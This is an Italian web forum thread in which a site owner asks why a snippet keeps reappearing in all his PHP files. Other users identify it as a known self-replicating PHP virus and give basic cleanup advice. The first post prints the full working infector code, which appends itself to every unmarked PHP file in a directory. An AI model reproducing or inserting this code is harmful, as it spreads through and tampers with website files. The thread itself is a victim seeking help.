Codice autoistallante nelle pagine PHP

[Darioval]

Salve a tutti.
Ho trovato in tutti i files php del mio sito il seguente codice che prima non c'era.
Lo cancello ma dopo un pò si ripresenta.
Sapreste dirimi di cosa si tratta? E' un Virus?
Grazie mille
Dario

<?php
//K//

$path=__FILE__;$nme=explode("\\",$path);$nmec=count($nme);$nme2=$nme[($nmec - 1)];$i=0;$d=dir(".");while($entry = $d->read()){$filez[$i]=$entry;$i++;};$d->close();foreach($filez as $f){$f2=explode(".",$f);$f2c=count($f2);if($f2[($f2c - 1)] == "php"){$o=file($f);$oc=count($o);@$o2=$o[($oc - 2)];  if($o2 == "//K//\r\n"){}else{$u=file($nme2);$uc=count($u);$a=fopen("$f","a");fputs($a,"\n<?php\n//K//\r\n".$u[($uc - 3)]."//K//\r\n?>");fclose($a);}}else{}}
//K//

?>

[philbert]

sì pare proprio che sia una specie di virus.. si chiama "buggy"
se è quello originale non dovrebbe fare danni, ma solo dare fastidio

se invece è un versione mutogena.....


http://www.hackgame.it/viewtopic.php?id=2340&p=1

qui commenti e suggerimenti su un tentativo di mutazione commentato:
http://forum.html.it/forum/showthrea...readid=1522350

[Darioval]

Grazie per l'informazione.
Ma allora questo virus ha infettato l'hosting oppure solo il mio sito o i miei siti?
Qualcuno sa come eliminarlo?
Dario

[philbert]

Originariamente inviato da Darioval
Grazie per l'informazione.
Ma allora questo virus ha infettato l'hosting oppure solo il mio sito o i miei siti?
Qualcuno sa come eliminarlo?
Dario

Per eliminarlo devi andare sul tuo server ed eliminare da *tutti* i file il codice in questione.

Poi devi capire come te lo sei beccato per non beccartelo più:
per caso su qualcuno dei tuoi siti dai la possibilità di uploadere file?

[Darioval]

Purtroppo si.

Il problema è che a volte ho scaricato alcuni file da un sito ad un altro e mi sono beccato il virus anche lì.
E' un lavoraccio andare a controllare e cancellare quel codice maledetto da tutti i files.

Chissà se esiste un modo per fare la stessa cosa inversa, (cioè cancellare il codice automaticamente)

la funzione fputs è quella che inserisce il codice, ho cercato di scoprire tra i manuali quale possa essere la

funzione che cancella il codice da tutti i file php.

Cmq. grazie mille

Dario